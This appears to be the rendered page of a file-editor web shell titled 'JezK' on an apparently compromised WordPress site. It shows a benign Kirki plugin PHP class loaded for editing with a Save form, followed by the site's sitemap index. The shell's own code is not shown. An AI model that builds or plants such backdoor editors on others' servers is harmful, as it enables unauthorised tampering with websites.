
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: UtilityPageService.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Kirki\App\Services;

defined(&#039;ABSPATH&#039;) || exit;

use Exception;
use Kirki\Ajax\Collection;
use Kirki\App\Constants\PageMetaKeys;
use Kirki\App\Constants\PostTypes;
use Kirki\App\Constants\UtilityPageType;
use Kirki\App\Models\Page as PageModel;
use Kirki\Framework\Database\Query\QueryBuilder;
use Kirki\Framework\Http\Response;

class UtilityPageService
{
    /**
     * Create a new instance of the service
     * @return UtilityPageService
     */
    public static function create()
    {
        return new static();
    }

    /**
     * Check if a utility page exists
     * 
     * @param string $utility_type
     * 
     * @return bool
     */
    public function exists(string $utility_type)
    {
        if (!in_array($utility_type, UtilityPageType::get_constant_values(), true)) {
            throw new Exception(
                /* translators: %s: Utility page type */
                sprintf(esc_html__(&#039;Invalid utility page type: %s&#039;, &#039;kirki&#039;), esc_html($utility_type)), 
                Response::UNPROCESSABLE_ENTITY
            );
        }

        return PageModel::query()
            -&gt;exclude_trash()
            -&gt;where(&#039;post_type&#039;, &#039;=&#039;, PostTypes::UTILITY)
            -&gt;where_has(&#039;meta&#039;, function (QueryBuilder $query) use ($utility_type) {
                $query-&gt;where(&#039;meta_key&#039;, &#039;=&#039;, PageMetaKeys::UTILITY_PAGE_TYPE)
                    -&gt;where(&#039;meta_value&#039;, &#039;=&#039;, $utility_type);
            })
            -&gt;exists();
    }

    /**
     * Get all utility pages
     * 
     * @return Collection
     */
    public function get_utility_pages()
    {
        return PageModel::query()
            -&gt;with([
                &#039;meta&#039; =&gt; function (QueryBuilder $query) {
                    $query-&gt;where(&#039;meta_key&#039;, &#039;=&#039;, PageMetaKeys::UTILITY_PAGE_TYPE)
                        -&gt;where_in(&#039;meta_value&#039;, UtilityPageType::get_constant_values());
                }
            ])
            -&gt;exclude_trash()
            -&gt;where(&#039;post_type&#039;, &#039;=&#039;, PostTypes::UTILITY)
            -&gt;get();
    }
}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.mijikendarealestate.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-property-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-agent-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-ube_content-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-type-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-status-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-feature-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-label-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-state-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-city-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-neighborhood-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-agency-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
